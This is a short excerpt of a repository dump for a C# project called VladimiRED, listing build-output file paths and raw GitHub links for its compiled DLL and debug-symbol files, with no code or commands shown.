| -------------------------------------------------------------------------------- /VladimiRED/obj/x64/Release/VladimiRED.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Tools\VladimiRED\VladimiRED\bin\x64\Release\VladimiRED.pdb 2 | C:\Tools\VladimiRED\VladimiRED\obj\x64\Release\VladimiRED.csproj.AssemblyReference.cache 3 | C:\Tools\VladimiRED\VladimiRED\obj\x64\Release\VladimiRED.csproj.CoreCompileInputs.cache 4 | C:\Tools\VladimiRED\VladimiRED\obj\x64\Release\VladimiRED.pdb 5 | C:\Tools\VladimiRED\VladimiRED\bin\x64\Release\VladimiRED.dll.config 6 | C:\Tools\VladimiRED\VladimiRED\bin\x64\Release\VladimiRED.dll 7 | C:\Tools\VladimiRED\VladimiRED\obj\x64\Release\VladimiRED.dll 8 | -------------------------------------------------------------------------------- /VladimiRED/obj/x64/Release/VladimiRED.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/x64/Release/VladimiRED.dll -------------------------------------------------------------------------------- /VladimiRED/obj/x64/Release/VladimiRED.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/kapellos/VladimiRED/efe19bb30c78ebce8a795f60bf3ac49bf92f4d09/VladimiRED/obj/x64/Release/VladimiRED.pdb --------------------------------------------------------------------------------